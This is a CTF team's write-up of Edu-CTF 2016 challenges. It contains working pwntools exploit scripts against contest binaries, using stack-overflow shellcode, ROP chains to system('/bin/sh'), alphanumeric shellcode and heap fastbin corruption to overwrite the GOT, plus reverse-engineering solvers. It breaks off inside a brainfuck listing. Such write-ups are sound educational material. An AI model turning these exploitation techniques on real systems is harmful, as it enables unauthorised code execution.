[Edu-CTF 2016](https://final.csie.ctf.tw) Write-up - public version === ### Team: CRAX > Lays, freetsubasa, date --- ### 🐻 MISC 10 - Rilakkuma > CTF{rilakkuma} > [rilakkuma.jpg](https://final.csie.ctf.tw/files/6ae7398e200ae87f5dc6ae339a4dfaeb/rilakkuma.jpg) --- ### 😇 Pwnable 150 - Start > Start > [BGM] https://www.youtube.com/watch?v=bBzBZJwW90g > nc ctf.pwnable.tw 8731 會讀 60 bytes 到 stack 上,造成 buffer overflow 先蓋 return address 跳 `0x8048087` leak stack address 再做第二次 overflow 跳 shellcode: ```python #!/usr/bin/env python from pwn import * # pip install pwntools r = remote("ctf.pwnable.tw", 8731) r.recvuntil(":") r.sendline("A" * 20 + p32(0x8048087)) stack = u32(r.recv(20)[:4]) + 0x70 log.info(hex(stack)) r.send("A" * 20 + p32(stack) + "\x90" * 15 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80") r.sendline("id") r.interactive() r.close() ``` Flag: `CTF{Z3r0_1s_st4rt}` --- ### 😇 Pwnable 250 - Silver Bullet > Create your silver bullet ! > [BGM] https://www.youtube.com/watch?v=QCTz2ie6uUg > nc ctf.pwnable.tw 4869 power_up() 中呼叫 `strncat` 時可以造成 overflow `strncat(bullet->desc,buf,MAX - bullet->power);` 先 create description 長度為 47 的 bullet 再 `power_up()` 1 byte , strncat 會把 `NULL` 寫到 power 的最低位,將 power 變成 1 再做一次 `power_up()` 就可以修改掉 power 的值並 overflow 到 `main()` 的 return address 最後把 `power` 改超大殺死 Werewolf 就可以觸發 return 因為是透過 `strncat` 造成的 overflow ,rop 中不能有 NULL byte 這裡我的利用比較複雜,先 `leak puts@got` ,接著呼叫 `read_int()` 把 address 放到 eax, 再跳到 `read_int()` 中間,執行 `read(0, eax, 0x41414141)` 讀第二段 `ROP Chain` 再做 `stack migration` 並執行 `system("/bin/sh")` 比較簡單的做法應該是 leak 之後 `return to main` 再做第二次 overflow ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # pip install pwntools r = remote("ctf.pwnable.tw", 4869) elf = ELF("./Silver_Bullet") libc = ELF("./libc-5221435a058b204c3616b10dc7d7e6d0.so") def create(des): r.recvuntil("choice :") r.sendline("1") r.recvuntil(":") r.send(des) def powerup(des): r.recvuntil("choice :") r.sendline("2") r.recvuntil(":") r.send(des) read_int = 0x8048643 puts = 0x80484A8 pop = 0x08048475 leave = 0x080486b5 buf = elf.bss() + 0x300 create("A" * 47) powerup("\xff") # power = 1 payload = "\xff\xff\xff" # power payload += p32(buf) # ebp # puts(puts@got) payload += p32(puts) payload += p32(pop) payload += p32(0x804AFDC) # eax = read_int(input) -> read(0, eax, 0x41414141) payload += p32(read_int) payload += p32(0x804864e) payload += p32(0x41414141) # migrate payload += p32(leave) powerup(payload) # bof # kill wolf to return from main() r.recvuntil("choice :") r.sendline("3") r.recvuntil("Oh ! You win !!\n") libc_base = u32(r.recvline()[:4]) - libc.symbols["puts"] log.info("libc_base = " + hex(libc_base)) libc_system = libc_base + libc.symbols["system"] libc_sh = libc_base + next(libc.search("/bin/sh\x00")) r.sendline(str(buf).ljust(14)) # input for read_int r.sendline(p32(libc_system) * 2 + p32(libc_sh) * 2 ) # second rop chain r.interactive() ``` Flag: `CTF{Using_the_silv3r_bull3t_to_pwn_th3_w0rld}` --- ### 😇 Pwnable 300 - alivenote > Have you finished your howework ? > [BGM] https://www.youtube.com/watch?v=T0LfHEwEXXw > nc ctf.pwnable.tw 55688 跟作業一樣的漏洞,新增 `note` 時輸入負數可以把 got 上的 address 指向 note 內容 但這題每一個 note 最多只能有 8 byte ,且要是 alphanumic 解法是每執行完幾個指令後就 `jo 0x38` 跳到下一個 note content 繼續執行 先做出 `read(0, esp, xxxx)` 再讀取第二段 shellcode: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # pip install pwntools r = remote("ctf.pwnable.tw", 55688) elf = ELF("./alivenote") def add(sc, idx): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.send(sc) def delete(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) def padding(): add("AAAAAAAA", -1) add("BBBBBBBB", -1) add("CCCCCCCC", -1) offset = (elf.got["free"] - elf.symbols["note"]) / 4 # eax = buff, ebx = ecx = edx = 0 # create a read(0, buff, xxxx) add("PYjAXE" "q8", offset) # push eax ; pop ecx ; push 0x41 ; pop eax padding() # => ecx = buff, eax = 0x41 add("4AHEEE" "q8", 0) # xor al, 0x41 ; dec eax padding() # => eax = 0xff add("0AF49E" "q8", 1) # xor [ecx+0x46], al ; xor al, 0x39 padding() # => 0xff ^ '2' = 0xcd, al ^= '9' add("0AGjzZ" "q8", 2) # xor [ecx+0x47], al ; push 0x7a ; pop edx padding() # => 0xff ^ '9' ^ 'F' = 0x80, edx = 0x7a add("j7X44E" "2F", 3) # push 0x37 ; pop eax; xor al, 0x34 ; int 0x80 # => eax = 3 delete(2) # buff = address of note[2] r.sendline("\x90" * 60 + asm(shellcraft.i386.linux.sh())) r.interactive() ``` Flag: `CTF{Sh3llcoding_in_th3_n0t3_ch4in}` Ref: https://www.youtube.com/watch?v=9bHibgrjNlc&list=PLTdZQWyXtB8PyKWfJyBM9TmdksIEcNRXl&index=2 --- ### 😇 Pwnable 500 - Secret of my heart > Find the secret of my heart ! > [BGM] https://www.youtube.com/watch?v=i4TqyI9EfzE > nc ctf.pwnable.tw 31337 `heart_ctor()` 中存在 null-byte overflow: ```c ret = read_input(h->secret,size); h->secret[ret] = '\x00'; ``` 可以用來蓋掉下一個 freed chunk 的 size 利用方式是 1. 新增三個 secret `A` `B` `C`: `[A size=0x40][B size=0x110][C size=0x100]` 2. free 掉 `B` 跟 `A` `[freed size=0x40][freed size=0x110][C size=0x100]` 3. add 回 `A` , 透過 overflow 把 free chunk 的 size 變小,使 chunk 之間產生空隙 `[A size=0x40][freed size=0x100][][C size=0x100]` `----------------------------^^-----------------` 4. add `B'` `[A size=0x40][B' size=0x90][freed size=0x70][][C size=0x100]` 5. add `D` `[A size=0x40][B' size=0x90][D size=0x40][freed size=0x30][][C size=0x100]` 6. add `E` 把 `C` 跟 top chunk 隔開,並 free `C` 此時 `C` 會透過 prev_size 找到上一個 chunk 跟他做 `merge`, 由於前面造成的空隙,`C` 的 prev_size 並沒有被修改,仍然認為上一個 chunk 是 `B` 因此 `B` 跟 `C` 會 merge 在一起 造成的結果是 free chunk 跟 `D` 重疊在一起: `[A size=0x40][freed size=0x210][E size=0x110]` `---------------[D size=0x40]-----------------` 接著透過 `malloc()` 拿到中間那塊 freed chunk 就可以控制 `D` 的內容 但是 `secret` chunk 中只是字串,並沒有 pointer 可拿來修改利用 不過可以配合 `fastbin curroption`: 1. 先 add `B` ,利用重疊的情況把 `D` 的 size 改成 `0x60`,同時也要修改到 `D` 的下一塊的 size ,使其對齊且 prev_inused 為 1 `[A size=0x40][B size=0x100][freed size=0x110][E size=0x110]` `--------------[D size=0x60][D' size=0x90 prev_inused=1]----` 完成後刪除 `B` 2. free `D` 將 `D` 放進 `fastbin`: `[A size=0x40][freed size=0x210][E size=0x110]` `--------------[freed size=0x60]--------------` 3. 再次新增 `B` 來修改 fastbin 中的 `D` 的 fd ,使其指向 `list[3]` 的 name: `[A size=0x40][B size=0x100][freed size=0x110][E size=0x110]` `---------------[freed size=0x60 fd->note_list[3].name]-----` 完成後刪除 `B` 4. 新增一個 secret ,在 `list[3]` 的 name 中製造一個假的 fastbin chunk,size 為 `0x60`,fd 指向 got 上面一點的位置 `0x601ffa`,此 address + 8 上的 dword 為 0x60,因此可以通過 `malloc()` 取出 `fastbin` 時的 `size` 檢查 5. 透過 `add_secret` 新增兩個 size 為 `0x60` 的 chunk, 第二次 `malloc()` 會 retrun 我們上一步偽造的 `fd`,指向 `secret[3].name` 中 因此我們可以將 `free@got` 寫到 `secret[3].secret` 上 再將 `secret[3] show` 出來就可以 leak 出 `libc address` 6. 接著再 `malloc()` 一次會得到位於 `0x601ffa` 的 chunk,就可以 overwrite got, 將 `free()` 改成 `system()` ```python #!/usr/bin/env python from pwn import * # pip install pwntools context.arch = "amd64" import ctypes LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") libc = ELF("./libc.so.6") r = remote("ctf.pwnable.tw", 31337) #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #r = remote("localhost", 4000) LIBC.srand(LIBC.time(0)) list_addr = LIBC.rand() & 0xfffff000 log.info("list_addr=" + hex(list_addr)) def add(name, secret): r.recvuntil("choice :") r.sendline("1") r.recvuntil(": ") r.sendline(str(len(secret))) r.recvuntil(":") if len(name) == 32: r.send(name) else: r.sendline(name) r.recvuntil(":") r.send(secret) def delete(idx): r.recvuntil("choice :") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) def show(idx): r.recvuntil("choice :") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) add("aaaa", "A" * 0x38) # 0 add("bbbb", "B" * 0x100) # 1 add("cccc", "C" * 0xf0) # 2 # [A][B][C] delete(1) delete(0) add("aaaa", "A" * 0x38) # 0, null byte overflow on freed B's size # [A][freed B][C] add("bbbb", "B" * 0x7f) # 1 add("dddd", "D" * 0x2f) # 3 # [A][B][D][][C] delete(1) # free B # [A][freed B][D][][C] add("eeee", "E" * 0x100) # 1, split from top # [A][freed B][D][][C][E] delete(2) # delete C to make B merge with C, then will be overlapped! # overwrite D's size to 0x60 add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + "Z" * 88 + p64(0x91) ) # 2 delete(2) # [A][ B ][E] # [A] [D] # put D into fastbin (0x60) delete(3) # overwrite D in fastbin, make its fd points to a fake chunk we will made in heart later add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + p64(list_addr + 0x30 * 3 + 8) ) # 1 # create fake chunk in heart[3].name add(p64(0) + p64(0x60) + p64(0x601ffa) , "FFFF") # 3 # leak libc add("____", "_" * 0x58) # 4 add("____", p64(0x602018) * 11) # 5, malloc return an forged address on heart[], so we can overwrite heart[3].secret with free@got show(3) r.recvuntil("Secret : ") libc_free = u64(r.recvline()[:-1].ljust(8, '\0')) libc_base = libc_free - libc.symbols["free"] libc_system = libc_base + libc.symbols["system"] log.info("libc_base=" + hex(libc_base)) # next malloc will return 0x601ffa + 8, so we can overwrite the got and change free() to system() add("L4ys", "/bin/sh;".ljust(14, "A") + flat([libc_system, libc_base + libc.symbols["puts"], 0, 0, libc_base + libc.symbols["printf"], libc_base + libc.symbols["memset"], libc_base + libc.symbols["read"], 0]) ) # 6 delete(6) # trigger system("/bin/sh") r.interactive() ``` Flag: `CTF{It_just_4_s3cr3t_on_the_h34p}` Ref: http://4ngelboy.blogspot.tw/2016/03/advanced-heap-exploitation.html --- ### 😇 Pwnable 600 - Kidding > Pwning for kidding !! > [BGM] https://www.youtube.com/watch?v=pn5tnyuHW3g > nc ctf.pwnable.tw 8361 出題者表示想將梗保留起來,故不公開解法 此題將會在即將上線的 wargame site: pwnable.tw 與大家見面 ! ![](http://www.rockcellarmagazine.com/wp-content/uploads/2014/11/censored.jpg) Flag: `CTF{It_is_just_4_kiddin9}` --- ### 😇 Pwnable 700 - ☠ Critical Heap ++ > It's very crazy ! Don't do it !! > [BGM] https://www.youtube.com/watch?v=qjJFWZAirjI > nc ctf.pwnable.tw 56746 ![](https://static.mengniang.org/common/thumb/4/41/Nicky.jpg/250px-Nicky.jpg) --- ### 🔄 Reverse 100 - AHK > Try to decrypt the flag. > Notice: The flag doesn't include 'CTF{}' after decryption, but you must add the prefix when submitting to scoreboard. `AutoHotkey` 產生的執行檔 從 resource 拉出 src: ``` <COMPILER: v1.1.24.04> :O:@a::04 :O:@b::7f :O:@c::be :O:@d::37 :O:@e::73 :O:@f::29 :O:@g::ff :O:@h::a5 :O:@i::a9 :O:@j::2c :O:@k::ef :O:@l::d1 :O:@m::48 :O:@n::22 :O:@o::63 :O:@p::5a :O:@q::fa :O:@r::32 :O:@s::fa :O:@t::98 :O:@u::3b :O:@v::cd :O:@w::25 :O:@x::fb :O:@y::47 :O:@z::d2 :O:@0::05 :O:@1::b5 :O:@2::ba :O:@3::09 :O:@4::e6 :O:@5::77 :O:@6::68 :O:@7::56 :O:@8::00 :O:@9::15 :O:@_::e4 ``` 看起來是跟 `flag.enc` 對應 寫 script 解回 flag: ```python d = { 0x04:"a", 0x7f:"b", 0xbe:"c", 0x37:"d", 0x73:"e", 0x29:"f", 0xff:"g", 0xa5:"h", 0xa9:"i", 0x2c:"j", 0xef:"k", 0xd1:"l", 0x48:"m", 0x22:"n", 0x63:"o", 0x5a:"p", 0xfa:"q", 0x32:"r", 0xfa:"s", 0x98:"t", 0x3b: "u", 0xcd:"v", 0x25:"w", 0xfb:"x", 0x47:"y", 0xd2:"z", 0x05:"0", 0xb5:"1", 0xba:"2", 0x09:"3", 0xe6:"4", 0x77:"5", 0x68:"6", 0x56:"7", 0x00:"8", 0x15:"9", 0xe4:"_", } print "".join(d[ord(i)] for i in "d105bee6d1e4fa983b37092298fae422090937e47fe6faa9bee45a05a92298fa".decode('hex')) ``` Flag: `CTF{l0c4l_stud3nts_n33d_b4sic_p0ints}` --- ### 🔄 Reverse 200 - orangr > orange = web > orangr = ? > http://140.113.209.24:10301/orangr/index.php 只有一個登入介面,可以從 http://140.113.209.24:10301/ 找到 `orangr.so` 逆向後發現是 php extension,用來 check login: `zif_check_user()` 中單純檢查 username = `pwn_gg` `zif_check_pw()` 會將密碼轉為大數,透過 libgmp 進行一連串運算並比對結果: ```cpp void zif_check_pw(__int64 a1, __int64 a2) { __int64 v2; // rbp@1 __int64 v3; // rdi@1 __int64 v4; // rbx@2 int *p; // r14@3 int i; // er13@3 int *pcmp; // r9@6 int j; // er8@6 int *p_next; // rsi@6 int *pcurr; // rax@8 int sum; // edx@8 int v12; // ecx@9 __int64 *v14; // [sp+8h] [bp-130h]@1 int mpz; // [sp+10h] [bp-128h]@2 int len; // [sp+14h] [bp-124h]@2 int mod_result[56]; // [sp+20h] [bp-118h]@3 __int64 v18; // [sp+108h] [bp-30h]@1 v2 = a2; v3 = *(a1 + 44); if ( zend_parse_parameters(v3, "z", &v14) != -1 ) { v4 = *v14; __gmpz_init(&mpz, "z"); __gmpz_set_str(&mpz, v4 + 24, 10LL); if ( len > 0 ) { p = mod_result; i = 0; do { ++i; *p = __gmpz_fdiv_ui(&mpz, 56LL); // *p = x % 56 ++p; __gmpz_fdiv_q_ui(&mpz, &mpz, 56LL); // x /= 56 } while ( len > 0 && i != 56 ); } __gmpz_clear(&mpz); pcmp = cmp; j = 0; p_next = &mod_result[1]; if ( cmp[0] ) { LABEL_11: *(v2 + 8) = 2; } else { while ( ++j != 56 ) { pcurr = mod_result; sum = 0; do { v12 = *p_next < *pcurr; ++pcurr; sum += v12; } while ( pcurr != p_next ); ++pcmp; ++p_next; if ( *pcmp != sum ) goto LABEL_11; } *(v2 + 8) = 3; } } } ``` 將程式邏輯重新實做交給 `KLEE` 求出 `mod_result`,最後當成 56 進位算出密碼: ```cpp #include <klee/klee.h> #include <stdint.h> unsigned char cmp[56] = { 0x00, 0x01, 0x02, 0x00, 0x03, 0x04, 0x05, 0x02, 0x02, 0x06, 0x03, 0x02, 0x05, 0x08, 0x0A, 0x05, 0x04, 0x00, 0x08, 0x09, 0x03, 0x02, 0x15, 0x04, 0x0A, 0x02, 0x0D, 0x19, 0x19, 0x0D, 0x18, 0x17, 0x05, 0x07, 0x1C, 0x14, 0x13, 0x05, 0x1F, 0x0C, 0x0D, 0x04, 0x10, 0x03, 0x02, 0x1B, 0x13, 0x02, 0x20, 0x27, 0x11, 0x1D, 0x1C, 0x18, 0x06, 0x23 }; int main(int argc, char *argv[]) { unsigned char mod_result[56] = {0}; klee_make_symbolic(mod_result, 56 , "mod_result"); for ( int i = 0; i < 56; ++i ) { klee_assume(mod_result[i] >= 0 ); klee_assume(mod_result[i] <= 55 ); } for ( int i = 0; i < 55; ++i ) klee_assume(mod_result[i] != mod_result[i+1] ); for ( int i = 1; i < 56; ++i ) { int count = 0; for ( int j = 0; j < i; ++j ) if ( mod_result[i] < mod_result[j] ) count++; if ( cmp[i] != count ) return 0; } klee_assert(0); return 0; } ``` ```python #!/usr/bin/env python # -*- coding: utf-8 -*- mod_result = [0x2f,0x0c,0x00,0x37,0x09,0x03,0x02,0x0c,0x2d,0x05,0x28,0x2d,0x0f,0x0b,0x07,0x26,0x2a,0x37,0x22,0x21,0x2d,0x30,0x00,0x2e,0x27,0x36,0x24,0x00,0x01,0x24,0x04,0x06,0x2e,0x2d,0x03,0x0d,0x11,0x2e,0x03,0x2c,0x2a,0x2f,0x29,0x33,0x36,0x10,0x28,0x36,0x0c,0x05,0x2a,0x11,0x21,0x26,0x32,0x0f] s = 0 for i, n in enumerate(mod_result): s += n * 56 ** i print s ``` username = `pwn_gg` password = `22484314038774183882379870536595842641055898869375067333079702401161192138756198707377056157299919` 登入後得到 Flag Flag: `CTF{ORangr_ANDangr_XORangr_NOTangr}` --- ### 🔄 Reverse 300 - tsubasa > Pure reverse ? > Notice: The flag doesn't include 'CTF{}' in this challenge but you must add the prefix when submitting to scoreboard. tsubasa 程式是用 [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) 產生的 binary 執行後顯示 ```python I splited the secrets and hide the slice in each chunk. secrets = ''.join(chunks[i] for i in sorted(chunks)) # sorted by chunk size flag = "CTF{%s}" % secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430] ``` 分析 `movfuscator` binary 的一個技巧是從外部呼叫開始追,觀察後會發現程式會不斷呼叫 `malloc()` 猜測就是在產生題目所說的 chunk,因此寫個 so 來 hook `malloc()` 並 dump 出內容: ```c #include <stdio.h> #include <dlfcn.h> static void* (*real_malloc)(size_t)=NULL; static void* p = NULL; void *malloc(size_t size) { if ( real_malloc == NULL ) real_malloc = dlsym(RTLD_NEXT, "malloc"); if ( p ) fprintf(stderr, "%s===\n", (char*)p); fprintf(stderr, "%d: ", size); p = real_malloc(size); return p; } ``` 會發現每個 chunk size 大小都不同,但都是 16 位的字串,共有 1023 個 chunk: ``` 53592: J9y0KePKXopZpxYk 120: RjhzsaaNBTFAtM7e 27968: 6QPS24pfpCC5mTcI 24440: ggWfzbghma9nf42t 9608: mzLOzOHYhjgnqCIB 21168: aAcBZbn4ScmcIMOU 20040: idZC_3qp3yoYtEYL 16936: kon0FMPOWdgvcDL1 49360: tt0mfe8LgTUhE4Lr 1120: 37cNa6807IqARWtH 7192: j3XCMrjQju5Q7vMY 34584: U3ZQ_COQZ6VSG2Lb 6280: GdjpKd3GLCdHnv8_ 16504: ANLXIepMWyoNIuqr ... ``` 照題目敘述排序並取出特定的字元組成 Flag: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from commands import getoutput log = getoutput("LD_PRELOAD=./hook.so ./tsubasa").split("===\n")[1:-1] chunks = {} for i in log: s = i.split(": ") chunks[int(s[0])] = s[1] secrets = "" for key in sorted(chunks.iterkeys()): secrets += chunks[key] flag = "CTF{%s}" % (secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430]) #print secrets print flag ``` Flag: `CTF{1ns7rum3n74710n_1s_sh4m3ful_8u7_us3ful}` --- ### 🔄 Reverse 400 - caitlyn > I wanna play a game ... > nc 140.113.209.24 10003 連上去之後發現是個不知道在幹嘛的 game: ``` 0 1 2 3 4 5 6 7 8 9 0 - - - 1 3 - 2 - - - 1 1 1 - 2 - - 3 2 1 1 2 - 1 - 2 - 4 - 3 - 1 3 1 1 - 1 1 2 2 - 2 1 4 - - - - 1 1 3 2 3 1 5 1 1 - - 1 - 2 - 2 - 6 - 2 1 - 1 1 2 2 3 2 7 2 - 2 2 1 1 - 1 - 1 8 3 5 - 3 - 1 - 1 2 2 9 - - - 3 1 1 - - 1 - ``` 經過分析 binary 後得知是踩地雷遊戲 總共分為 9 關,必須將 `-` 的格子填上數字或是 `-1` 代表地雷後回傳 每關的板面大小為 `height=i * 10`, `width=i * 10`, `地雷數=i * 100 * i / 5` 直接從網路上找了個 [minesweeper solver](https://github.com/madewokherd/mines) 接在一起: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # pip install pwntools from commands import getoutput r = remote("140.113.209.24", 10003) def mine(width, height, mine_count): r.recvline() r.recvline() log.info("mines h=%d w=%d c=%d" % (width, height, mine_count)) board = [] for i in range(width): board.append(r.recvline().split()[1:]) #pprint(board) out = "" for line in board: for col in line: out += col sol = getoutput("echo '%s' | python mines.py mines %d %d %d" % ( out, width, height, mine_count )).split("\n")[1:-1] for y in range(height): for x in range(width): if sol[y][x] == '1': board[y][x] = '-1' if board[y][x] == '-': board[y][x] = '0' #print(board) ans = "" for y in range(height): for x in range(width): ans += board[y][x] + " " r.sendline(ans) for i in range(1,10): mine(i * 10, i * 10, i * 100 * i / 5) log.success(r.recvline()) ``` Flag: `CTF{ZZZ_zzz_zZZ_Zzz_ZzZ_zZz_ZZz_zzZ}` --- ### 🔄 Reverse 500 - printbf > Here is no service let you pwn, but you can pwn yourself. > hint: https://github.com/HexHive/printbf 丟進 IDA 會發現是一坨屎 後來根據 hint 得知是 `printbf` 生成的 binary 因此開始參考 `printbf` 的 source code 並嘗試將 binary 轉回 brainfuck code: 先用 gdb 中斷在 `0x402C75` 並 dump 在 `0x641868` 上的 program 內容 ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * bf = [u32(_) for _ in group(4, "".join([c for c in read("./dump")]))][2:] out = "" i = 0 while i < len(bf): op = bf[i] if op == 14: i += 1 count = bf[i] out += '>' * count elif op == 15: i += 1 count = (65536 - bf[i]) out += '<' * count elif op == 18: i += 1 count = bf[i] if count > 0x7f: count = (256 - count) out += '-' * count else: out += '+' * count elif op == 9: out += "[" i += 5 elif op == 12: out += "]" i += 1 elif op == 7: out += "," i += 3 elif op == 5: out += "." i += 3 elif op == 13: out += "[-]" i += 1 else: print "unknown: %d: %d" % (i, op) i += 1 ``` brainfuck code: ```bf >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<